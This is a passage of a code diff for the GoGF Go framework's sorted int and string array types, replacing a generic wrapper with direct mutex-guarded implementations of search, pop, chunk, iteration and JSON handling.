 // RLockFunc locks reading by callback function `f`.
 func (a *SortedIntArray) RLockFunc(f func(array []int)) *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.RLockFunc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	f(a.array)
 	return a
 }
 
@@ -320,8 +549,7 @@ func (a *SortedIntArray) RLockFunc(f func(array []int)) *SortedIntArray {
 // The parameter `array` can be any garray or slice type.
 // The difference between Merge and Append is Append supports only specified slice type,
 // but Merge supports more parameter types.
-func (a *SortedIntArray) Merge(array any) *SortedIntArray {
-	a.lazyInit()
+func (a *SortedIntArray) Merge(array interface{}) *SortedIntArray {
 	return a.Add(gconv.Ints(array)...)
 }
 
@@ -329,52 +557,104 @@ func (a *SortedIntArray) Merge(array any) *SortedIntArray {
 // the size of each array is determined by `size`.
 // The last chunk may contain less than size elements.
 func (a *SortedIntArray) Chunk(size int) [][]int {
-	a.lazyInit()
-	return a.SortedTArray.Chunk(size)
+	if size < 1 {
+		return nil
+	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	length := len(a.array)
+	chunks := int(math.Ceil(float64(length) / float64(size)))
+	var n [][]int
+	for i, end := 0, 0; chunks > 0; chunks-- {
+		end = (i + 1) * size
+		if end > length {
+			end = length
+		}
+		n = append(n, a.array[i*size:end])
+		i++
+	}
+	return n
 }
 
 // Rand randomly returns one item from array(no deleting).
 func (a *SortedIntArray) Rand() (value int, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.Rand()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return 0, false
+	}
+	return a.array[grand.Intn(len(a.array))], true
 }
 
 // Rands randomly returns `size` items from array(no deleting).
 func (a *SortedIntArray) Rands(size int) []int {
-	a.lazyInit()
-	return a.SortedTArray.Rands(size)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	array := make([]int, size)
+	for i := 0; i < size; i++ {
+		array[i] = a.array[grand.Intn(len(a.array))]
+	}
+	return array
 }
 
 // Join joins array elements with a string `glue`.
 func (a *SortedIntArray) Join(glue string) string {
-	a.lazyInit()
-	return a.SortedTArray.Join(glue)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return ""
+	}
+	buffer := bytes.NewBuffer(nil)
+	for k, v := range a.array {
+		buffer.WriteString(gconv.String(v))
+		if k != len(a.array)-1 {
+			buffer.WriteString(glue)
+		}
+	}
+	return buffer.String()
 }
 
 // CountValues counts the number of occurrences of all values in the array.
 func (a *SortedIntArray) CountValues() map[int]int {
-	a.lazyInit()
-	return a.SortedTArray.CountValues()
+	m := make(map[int]int)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		m[v]++
+	}
+	return m
 }
 
 // Iterator is alias of IteratorAsc.
 func (a *SortedIntArray) Iterator(f func(k int, v int) bool) {
-	a.lazyInit()
-	a.SortedTArray.Iterator(f)
+	a.IteratorAsc(f)
 }
 
 // IteratorAsc iterates the array readonly in ascending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (a *SortedIntArray) IteratorAsc(f func(k int, v int) bool) {
-	a.lazyInit()
-	a.SortedTArray.IteratorAsc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for k, v := range a.array {
+		if !f(k, v) {
+			break
+		}
+	}
 }
 
 // IteratorDesc iterates the array readonly in descending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (a *SortedIntArray) IteratorDesc(f func(k int, v int) bool) {
-	a.lazyInit()
-	a.SortedTArray.IteratorDesc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for i := len(a.array) - 1; i >= 0; i-- {
+		if !f(i, a.array[i]) {
+			break
+		}
+	}
 }
 
 // String returns current array as a string, which implements like json.Marshal does.
@@ -382,64 +662,73 @@ func (a *SortedIntArray) String() string {
 	if a == nil {
 		return ""
 	}
-	a.lazyInit()
 	return "[" + a.Join(",") + "]"
 }
 
 // MarshalJSON implements the interface MarshalJSON for json.Marshal.
 // Note that do not use pointer as its receiver here.
 func (a SortedIntArray) MarshalJSON() ([]byte, error) {
-	a.lazyInit()
-	return a.SortedTArray.MarshalJSON()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	return json.Marshal(a.array)
 }
 
 // UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
 func (a *SortedIntArray) UnmarshalJSON(b []byte) error {
-	a.lazyInit()
-	if a.comparator == nil || a.sorter == nil {
-		a.comparator = defaultComparatorInt
-		a.sorter = quickSortInt
+	if a.comparator == nil {
 		a.array = make([]int, 0)
+		a.comparator = defaultComparatorInt
 	}
-
-	return a.SortedTArray.UnmarshalJSON(b)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if err := json.UnmarshalUseNumber(b, &a.array); err != nil {
+		return err
+	}
+	if a.array != nil {
+		sort.Ints(a.array)
+	}
+	return nil
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for array.
-func (a *SortedIntArray) UnmarshalValue(value any) (err error) {
-	a.lazyInit()
-	if a.comparator == nil || a.sorter == nil {
+func (a *SortedIntArray) UnmarshalValue(value interface{}) (err error) {
+	if a.comparator == nil {
 		a.comparator = defaultComparatorInt
-		a.sorter = quickSortInt
 	}
-
-	return a.SortedTArray.UnmarshalValue(value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	switch value.(type) {
+	case string, []byte:
+		err = json.UnmarshalUseNumber(gconv.Bytes(value), &a.array)
+	default:
+		a.array = gconv.SliceInt(value)
+	}
+	if a.array != nil {
+		sort.Ints(a.array)
+	}
+	return err
 }
 
 // Filter iterates array and filters elements using custom callback function.
 // It removes the element from array if callback function `filter` returns true,
 // it or else does nothing and continues iterating.
 func (a *SortedIntArray) Filter(filter func(index int, value int) bool) *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.Filter(filter)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i := 0; i < len(a.array); {
+		if filter(i, a.array[i]) {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // FilterEmpty removes all zero value of the array.
 func (a *SortedIntArray) FilterEmpty() *SortedIntArray {
-	a.lazyInit()
 	a.mu.Lock()
 	defer a.mu.Unlock()
-
-	if len(a.array) == 0 {
-		return a
-	}
-
-	if a.array[0] != 0 && a.array[len(a.array)-1] != 0 {
-		a.SortedTArray.FilterEmpty()
-		return a
-	}
-
 	for i := 0; i < len(a.array); {
 		if a.array[i] == 0 {
 			a.array = append(a.array[:i], a.array[i+1:]...)
@@ -450,7 +739,6 @@ func (a *SortedIntArray) FilterEmpty() *SortedIntArray {
 	for i := len(a.array) - 1; i >= 0; {
 		if a.array[i] == 0 {
 			a.array = append(a.array[:i], a.array[i+1:]...)
-			i--
 		} else {
 			break
 		}
@@ -460,21 +748,40 @@ func (a *SortedIntArray) FilterEmpty() *SortedIntArray {
 
 // Walk applies a user supplied function `f` to every item of array.
 func (a *SortedIntArray) Walk(f func(value int) int) *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.Walk(f)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	// Keep the array always sorted.
+	defer quickSortInt(a.array, a.getComparator())
+
+	for i, v := range a.array {
+		a.array[i] = f(v)
+	}
 	return a
 }
 
 // IsEmpty checks whether the array is empty.
 func (a *SortedIntArray) IsEmpty() bool {
-	a.lazyInit()
-	return a.SortedTArray.IsEmpty()
+	return a.Len() == 0
+}
+
+// getComparator returns the comparator if it's previously set,
+// or else it returns a default comparator.
+func (a *SortedIntArray) getComparator() func(a, b int) int {
+	if a.comparator == nil {
+		return defaultComparatorInt
+	}
+	return a.comparator
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (a *SortedIntArray) DeepCopy() any {
-	a.lazyInit()
-	return &SortedIntArray{
-		SortedTArray: a.SortedTArray.DeepCopy().(*SortedTArray[int]),
+func (a *SortedIntArray) DeepCopy() interface{} {
+	if a == nil {
+		return nil
 	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	newSlice := make([]int, len(a.array))
+	copy(newSlice, a.array)
+	return NewSortedIntArrayFrom(newSlice, a.mu.IsSafe())
 }

container/garray/garray_sorted_str.go

@@ -8,11 +8,15 @@ package garray
 
 import (
 	"bytes"
+	"math"
+	"sort"
 	"strings"
-	"sync"
 
+	"github.com/gogf/gf/v2/internal/json"
+	"github.com/gogf/gf/v2/internal/rwmutex"
 	"github.com/gogf/gf/v2/text/gstr"
 	"github.com/gogf/gf/v2/util/gconv"
+	"github.com/gogf/gf/v2/util/grand"
 )
 
 // SortedStrArray is a golang sorted string array with rich features.
@@ -21,18 +25,10 @@ import (
 // It contains a concurrent-safe/unsafe switch, which should be set
 // when its initialization and cannot be changed then.
 type SortedStrArray struct {
-	*SortedTArray[string]
-	once sync.Once
-}
-
-// lazyInit lazily initializes the array.
-func (a *SortedStrArray) lazyInit() {
-	a.once.Do(func() {
-		if a.SortedTArray == nil {
-			a.SortedTArray = NewSortedTArraySize(0, defaultComparatorStr, false)
-			a.SetSorter(quickSortStr)
-		}
-	})
+	mu         rwmutex.RWMutex
+	array      []string
+	unique     bool                  // Whether enable unique feature(false)
+	comparator func(a, b string) int // Comparison function(it returns -1: a < b; 0: a == b; 1: a > b)
 }
 
 // NewSortedStrArray creates and returns an empty sorted array.
@@ -54,10 +50,10 @@ func NewSortedStrArrayComparator(comparator func(a, b string) int, safe ...bool)
 // The parameter `safe` is used to specify whether using array in concurrent-safety,
 // which is false in default.
 func NewSortedStrArraySize(cap int, safe ...bool) *SortedStrArray {
-	a := NewSortedTArraySize(cap, defaultComparatorStr, safe...)
-	a.SetSorter(quickSortStr)
 	return &SortedStrArray{
-		SortedTArray: a,
+		mu:         rwmutex.Create(safe...),
+		array:      make([]string, 0, cap),
+		comparator: defaultComparatorStr,
 	}
 }
 
@@ -82,112 +78,218 @@ func NewSortedStrArrayFromCopy(array []string, safe ...bool) *SortedStrArray {
 
 // SetArray sets the underlying slice array with the given `array`.
 func (a *SortedStrArray) SetArray(array []string) *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.SetArray(array)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	a.array = array
+	quickSortStr(a.array, a.getComparator())
 	return a
 }
 
 // At returns the value by the specified index.
 // If the given `index` is out of range of the array, it returns an empty string.
 func (a *SortedStrArray) At(index int) (value string) {
-	a.lazyInit()
-	return a.SortedTArray.At(index)
+	value, _ = a.Get(index)
+	return
 }
 
 // Sort sorts the array in increasing order.
 // The parameter `reverse` controls whether sort
 // in increasing order(default) or decreasing order.
 func (a *SortedStrArray) Sort() *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.Sort()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	quickSortStr(a.array, a.getComparator())
 	return a
 }
 
 // Add adds one or multiple values to sorted array, the array always keeps sorted.
 // It's alias of function Append, see Append.
 func (a *SortedStrArray) Add(values ...string) *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.Add(values...)
-	return a
+	return a.Append(values...)
 }
 
 // Append adds one or multiple values to sorted array, the array always keeps sorted.
 func (a *SortedStrArray) Append(values ...string) *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.Append(values...)
+	if len(values) == 0 {
+		return a
+	}
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for _, value := range values {
+		index, cmp := a.binSearch(value, false)
+		if a.unique && cmp == 0 {
+			continue
+		}
+		if index < 0 {
+			a.array = append(a.array, value)
+			continue
+		}
+		if cmp > 0 {
+			index++
+		}
+		rear := append([]string{}, a.array[index:]...)
+		a.array = append(a.array[0:index], value)
+		a.array = append(a.array, rear...)
+	}
 	return a
 }
 
 // Get returns the value by the specified index.
 // If the given `index` is out of range of the array, the `found` is false.
 func (a *SortedStrArray) Get(index int) (value string, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.Get(index)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if index < 0 || index >= len(a.array) {
+		return "", false
+	}
+	return a.array[index], true
 }
 
 // Remove removes an item by index.
 // If the given `index` is out of range of the array, the `found` is false.
 func (a *SortedStrArray) Remove(index int) (value string, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.Remove(index)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(index)
+}
+
+// doRemoveWithoutLock removes an item by index without lock.
+func (a *SortedStrArray) doRemoveWithoutLock(index int) (value string, found bool) {
+	if index < 0 || index >= len(a.array) {
+		return "", false
+	}
+	// Determine array boundaries when deleting to improve deletion efficiency.
+	if index == 0 {
+		value := a.array[0]
+		a.array = a.array[1:]
+		return value, true
+	} else if index == len(a.array)-1 {
+		value := a.array[index]
+		a.array = a.array[:index]
+		return value, true
+	}
+	// If it is a non-boundary delete,
+	// it will involve the creation of an array,
+	// then the deletion is less efficient.
+	value = a.array[index]
+	a.array = append(a.array[:index], a.array[index+1:]...)
+	return value, true
 }
 
 // RemoveValue removes an item by value.
 // It returns true if value is found in the array, or else false if not found.
 func (a *SortedStrArray) RemoveValue(value string) bool {
-	a.lazyInit()
-	return a.SortedTArray.RemoveValue(value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if i, r := a.binSearch(value, false); r == 0 {
+		_, res := a.doRemoveWithoutLock(i)
+		return res
+	}
+	return false
 }
 
 // RemoveValues removes an item by `values`.
 func (a *SortedStrArray) RemoveValues(values ...string) {
-	a.lazyInit()
-	a.SortedTArray.RemoveValues(values...)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for _, value := range values {
+		if i, r := a.binSearch(value, false); r == 0 {
+			a.doRemoveWithoutLock(i)
+		}
+	}
 }
 
 // PopLeft pops and returns an item from the beginning of array.
 // Note that if the array is empty, the `found` is false.
 func (a *SortedStrArray) PopLeft() (value string, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.PopLeft()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return "", false
+	}
+	value = a.array[0]
+	a.array = a.array[1:]
+	return value, true
 }
 
 // PopRight pops and returns an item from the end of array.
 // Note that if the array is empty, the `found` is false.
 func (a *SortedStrArray) PopRight() (value string, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.PopRight()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	index := len(a.array) - 1
+	if index < 0 {
+		return "", false
+	}
+	value = a.array[index]
+	a.array = a.array[:index]
+	return value, true
 }
 
 // PopRand randomly pops and return an item out of array.
 // Note that if the array is empty, the `found` is false.
 func (a *SortedStrArray) PopRand() (value string, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.PopRand()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(grand.Intn(len(a.array)))
 }
 
 // PopRands randomly pops and returns `size` items out of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *SortedStrArray) PopRands(size int) []string {
-	a.lazyInit()
-	return a.SortedTArray.PopRands(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		size = len(a.array)
+	}
+	array := make([]string, size)
+	for i := 0; i < size; i++ {
+		array[i], _ = a.doRemoveWithoutLock(grand.Intn(len(a.array)))
+	}
+	return array
 }
 
 // PopLefts pops and returns `size` items from the beginning of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *SortedStrArray) PopLefts(size int) []string {
-	a.lazyInit()
-	return a.SortedTArray.PopLefts(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[0:size]
+	a.array = a.array[size:]
+	return value
 }
 
 // PopRights pops and returns `size` items from the end of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *SortedStrArray) PopRights(size int) []string {
-	a.lazyInit()
-	return a.SortedTArray.PopRights(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	index := len(a.array) - size
+	if index <= 0 {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[index:]
+	a.array = a.array[:index]
+	return value
 }
 
 // Range picks and returns items by range, like array[start:end].
@@ -198,8 +300,26 @@ func (a *SortedStrArray) PopRights(size int) []string {
 // If `end` is omitted, then the sequence will have everything from start up
 // until the end of the array.
 func (a *SortedStrArray) Range(start int, end ...int) []string {
-	a.lazyInit()
-	return a.SortedTArray.Range(start, end...)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	offsetEnd := len(a.array)
+	if len(end) > 0 && end[0] < offsetEnd {
+		offsetEnd = end[0]
+	}
+	if start > offsetEnd {
+		return nil
+	}
+	if start < 0 {
+		start = 0
+	}
+	array := ([]string)(nil)
+	if a.mu.IsSafe() {
+		array = make([]string, offsetEnd-start)
+		copy(array, a.array[start:offsetEnd])
+	} else {
+		array = a.array[start:offsetEnd]
+	}
+	return array
 }
 
 // SubSlice returns a slice of elements from the array as specified
@@ -216,46 +336,95 @@ func (a *SortedStrArray) Range(start int, end ...int) []string {
 //
 // Any possibility crossing the left border of array, it will fail.
 func (a *SortedStrArray) SubSlice(offset int, length ...int) []string {
-	a.lazyInit()
-	return a.SortedTArray.SubSlice(offset, length...)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	size := len(a.array)
+	if len(length) > 0 {
+		size = length[0]
+	}
+	if offset > len(a.array) {
+		return nil
+	}
+	if offset < 0 {
+		offset = len(a.array) + offset
+		if offset < 0 {
+			return nil
+		}
+	}
+	if size < 0 {
+		offset += size
+		size = -size
+		if offset < 0 {
+			return nil
+		}
+	}
+	end := offset + size
+	if end > len(a.array) {
+		end = len(a.array)
+		size = len(a.array) - offset
+	}
+	if a.mu.IsSafe() {
+		s := make([]string, size)
+		copy(s, a.array[offset:])
+		return s
+	} else {
+		return a.array[offset:end]
+	}
 }
 
 // Sum returns the sum of values in an array.
 func (a *SortedStrArray) Sum() (sum int) {
-	a.lazyInit()
-	return a.SortedTArray.Sum()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		sum += gconv.Int(v)
+	}
+	return
 }
 
 // Len returns the length of array.
 func (a *SortedStrArray) Len() int {
-	a.lazyInit()
-	return a.SortedTArray.Len()
+	a.mu.RLock()
+	length := len(a.array)
+	a.mu.RUnlock()
+	return length
 }
 
 // Slice returns the underlying data of array.
 // Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
 // or else a pointer to the underlying data.
 func (a *SortedStrArray) Slice() []string {
-	a.lazyInit()
-	return a.SortedTArray.Slice()
+	array := ([]string)(nil)
+	if a.mu.IsSafe() {
+		a.mu.RLock()
+		defer a.mu.RUnlock()
+		array = make([]string, len(a.array))
+		copy(array, a.array)
+	} else {
+		array = a.array
+	}
+	return array
 }
 
-// Interfaces returns current array as []any.
-func (a *SortedStrArray) Interfaces() []any {
-	a.lazyInit()
-	return a.SortedTArray.Interfaces()
+// Interfaces returns current array as []interface{}.
+func (a *SortedStrArray) Interfaces() []interface{} {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	array := make([]interface{}, len(a.array))
+	for k, v := range a.array {
+		array[k] = v
+	}
+	return array
 }
 
 // Contains checks whether a value exists in the array.
 func (a *SortedStrArray) Contains(value string) bool {
-	a.lazyInit()
-	return a.SortedTArray.Contains(value)
+	return a.Search(value) != -1
 }
 
 // ContainsI checks whether a value exists in the array with case-insensitively.
 // Note that it internally iterates the whole array to do the comparison with case-insensitively.
 func (a *SortedStrArray) ContainsI(value string) bool {
-	a.lazyInit()
 	a.mu.RLock()
 	defer a.mu.RUnlock()
 	if len(a.array) == 0 {
@@ -272,52 +441,109 @@ func (a *SortedStrArray) ContainsI(value string) bool {
 // Search searches array by `value`, returns the index of `value`,
 // or returns -1 if not exists.
 func (a *SortedStrArray) Search(value string) (index int) {
-	a.lazyInit()
-	return a.SortedTArray.Search(value)
+	if i, r := a.binSearch(value, true); r == 0 {
+		return i
+	}
+	return -1
+}
+
+// Binary search.
+// It returns the last compared index and the result.
+// If `result` equals to 0, it means the value at `index` is equals to `value`.
+// If `result` lesser than 0, it means the value at `index` is lesser than `value`.
+// If `result` greater than 0, it means the value at `index` is greater than `value`.
+func (a *SortedStrArray) binSearch(value string, lock bool) (index int, result int) {
+	if lock {
+		a.mu.RLock()
+		defer a.mu.RUnlock()
+	}
+	if len(a.array) == 0 {
+		return -1, -2
+	}
+	min := 0
+	max := len(a.array) - 1
+	mid := 0
+	cmp := -2
+	for min <= max {
+		mid = min + int((max-min)/2)
+		cmp = a.getComparator()(value, a.array[mid])
+		switch {
+		case cmp < 0:
+			max = mid - 1
+		case cmp > 0:
+			min = mid + 1
+		default:
+			return mid, cmp
+		}
+	}
+	return mid, cmp
 }
 
 // SetUnique sets unique mark to the array,
 // which means it does not contain any repeated items.
 // It also do unique check, remove all repeated items.
 func (a *SortedStrArray) SetUnique(unique bool) *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.SetUnique(unique)
+	oldUnique := a.unique
+	a.unique = unique
+	if unique && oldUnique != unique {
+		a.Unique()
+	}
 	return a
 }
 
 // Unique uniques the array, clear repeated items.
 func (a *SortedStrArray) Unique() *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.Unique()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return a
+	}
+	i := 0
+	for {
+		if i == len(a.array)-1 {
+			break
+		}
+		if a.getComparator()(a.array[i], a.array[i+1]) == 0 {
+			a.array = append(a.array[:i+1], a.array[i+1+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // Clone returns a new array, which is a copy of current array.
 func (a *SortedStrArray) Clone() (newArray *SortedStrArray) {
-	a.lazyInit()
-	return &SortedStrArray{
-		SortedTArray: a.SortedTArray.Clone(),
-	}
+	a.mu.RLock()
+	array := make([]string, len(a.array))
+	copy(array, a.array)
+	a.mu.RUnlock()
+	return NewSortedStrArrayFrom(array, a.mu.IsSafe())
 }
 
 // Clear deletes all items of current array.
 func (a *SortedStrArray) Clear() *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.Clear()
+	a.mu.Lock()
+	if len(a.array) > 0 {
+		a.array = make([]string, 0)
+	}
+	a.mu.Unlock()
 	return a
 }
 
 // LockFunc locks writing by callback function `f`.
 func (a *SortedStrArray) LockFunc(f func(array []string)) *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.LockFunc(f)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	f(a.array)
 	return a
 }
 
 // RLockFunc locks reading by callback function `f`.
 func (a *SortedStrArray) RLockFunc(f func(array []string)) *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.RLockFunc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	f(a.array)
 	return a
 }
 
@@ -325,8 +551,7 @@ func (a *SortedStrArray) RLockFunc(f func(array []string)) *SortedStrArray {
 // The parameter `array` can be any garray or slice type.
 // The difference between Merge and Append is Append supports only specified slice type,
 // but Merge supports more parameter types.
-func (a *SortedStrArray) Merge(array any) *SortedStrArray {
-	a.lazyInit()
+func (a *SortedStrArray) Merge(array interface{}) *SortedStrArray {
 	return a.Add(gconv.Strings(array)...)
 }
 
@@ -334,52 +559,104 @@ func (a *SortedStrArray) Merge(array any) *SortedStrArray {
 // the size of each array is determined by `size`.
 // The last chunk may contain less than size elements.
 func (a *SortedStrArray) Chunk(size int) [][]string {
-	a.lazyInit()
-	return a.SortedTArray.Chunk(size)
+	if size < 1 {
+		return nil
+	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	length := len(a.array)
+	chunks := int(math.Ceil(float64(length) / float64(size)))
+	var n [][]string
+	for i, end := 0, 0; chunks > 0; chunks-- {
+		end = (i + 1) * size
+		if end > length {
+			end = length
+		}
+		n = append(n, a.array[i*size:end])
+		i++
+	}
+	return n
 }
 
 // Rand randomly returns one item from array(no deleting).
 func (a *SortedStrArray) Rand() (value string, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.Rand()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return "", false
+	}
+	return a.array[grand.Intn(len(a.array))], true
 }
 
 // Rands randomly returns `size` items from array(no deleting).
 func (a *SortedStrArray) Rands(size int) []string {
-	a.lazyInit()
-	return a.SortedTArray.Rands(size)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	array := make([]string, size)
+	for i := 0; i < size; i++ {
+		array[i] = a.array[grand.Intn(len(a.array))]
+	}
+	return array
 }
 
 // Join joins array elements with a string `glue`.
 func (a *SortedStrArray) Join(glue string) string {
-	a.lazyInit()
-	return a.SortedTArray.Join(glue)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return ""
+	}
+	buffer := bytes.NewBuffer(nil)
+	for k, v := range a.array {
+		buffer.WriteString(v)
+		if k != len(a.array)-1 {
+			buffer.WriteString(glue)
+		}
+	}
+	return buffer.String()
 }
 
 // CountValues counts the number of occurrences of all values in the array.
 func (a *SortedStrArray) CountValues() map[string]int {
-	a.lazyInit()
-	return a.SortedTArray.CountValues()
+	m := make(map[string]int)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		m[v]++
+	}
+	return m
 }
 
 // Iterator is alias of IteratorAsc.
 func (a *SortedStrArray) Iterator(f func(k int, v string) bool) {
-	a.lazyInit()
-	a.SortedTArray.Iterator(f)
+	a.IteratorAsc(f)
 }
 
 // IteratorAsc iterates the array readonly in ascending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (a *SortedStrArray) IteratorAsc(f func(k int, v string) bool) {
-	a.lazyInit()
-	a.SortedTArray.IteratorAsc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for k, v := range a.array {
+		if !f(k, v) {
+			break
+		}
+	}
 }
 
 // IteratorDesc iterates the array readonly in descending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (a *SortedStrArray) IteratorDesc(f func(k int, v string) bool) {
-	a.lazyInit()
-	a.SortedTArray.IteratorDesc(f)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for i := len(a.array) - 1; i >= 0; i-- {
+		if !f(i, a.array[i]) {
+			break
+		}
+	}
 }
 
 // String returns current array as a string, which implements like json.Marshal does.
@@ -387,7 +664,6 @@ func (a *SortedStrArray) String() string {
 	if a == nil {
 		return ""
 	}
-	a.lazyInit()
 	a.mu.RLock()
 	defer a.mu.RUnlock()
 	buffer := bytes.NewBuffer(nil)
@@ -405,56 +681,67 @@ func (a *SortedStrArray) String() string {
 // MarshalJSON implements the interface MarshalJSON for json.Marshal.
 // Note that do not use pointer as its receiver here.
 func (a SortedStrArray) MarshalJSON() ([]byte, error) {
-	a.lazyInit()
-	return a.SortedTArray.MarshalJSON()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	return json.Marshal(a.array)
 }
 
 // UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
 func (a *SortedStrArray) UnmarshalJSON(b []byte) error {
-	a.lazyInit()
-	if a.comparator == nil || a.sorter == nil {
-		a.comparator = defaultComparatorStr
-		a.sorter = quickSortStr
+	if a.comparator == nil {
 		a.array = make([]string, 0)
+		a.comparator = defaultComparatorStr
 	}
-	return a.SortedTArray.UnmarshalJSON(b)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if err := json.UnmarshalUseNumber(b, &a.array); err != nil {
+		return err
+	}
+	if a.array != nil {
+		sort.Strings(a.array)
+	}
+	return nil
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for array.
-func (a *SortedStrArray) UnmarshalValue(value any) (err error) {
-	a.lazyInit()
-	if a.comparator == nil || a.sorter == nil {
+func (a *SortedStrArray) UnmarshalValue(value interface{}) (err error) {
+	if a.comparator == nil {
 		a.comparator = defaultComparatorStr
-		a.sorter = quickSortStr
 	}
-
-	return a.SortedTArray.UnmarshalValue(value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	switch value.(type) {
+	case string, []byte:
+		err = json.UnmarshalUseNumber(gconv.Bytes(value), &a.array)
+	default:
+		a.array = gconv.SliceStr(value)
+	}
+	if a.array != nil {
+		sort.Strings(a.array)
+	}
+	return err
 }
 
 // Filter iterates array and filters elements using custom callback function.
 // It removes the element from array if callback function `filter` returns true,
 // it or else does nothing and continues iterating.
 func (a *SortedStrArray) Filter(filter func(index int, value string) bool) *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.Filter(filter)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i := 0; i < len(a.array); {
+		if filter(i, a.array[i]) {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // FilterEmpty removes all empty string value of the array.
 func (a *SortedStrArray) FilterEmpty() *SortedStrArray {
-	a.lazyInit()
 	a.mu.Lock()
 	defer a.mu.Unlock()
-
-	if len(a.array) == 0 {
-		return a
-	}
-
-	if a.array[0] != "" && a.array[len(a.array)-1] != "" {
-		a.SortedTArray.FilterEmpty()
-		return a
-	}
-
 	for i := 0; i < len(a.array); {
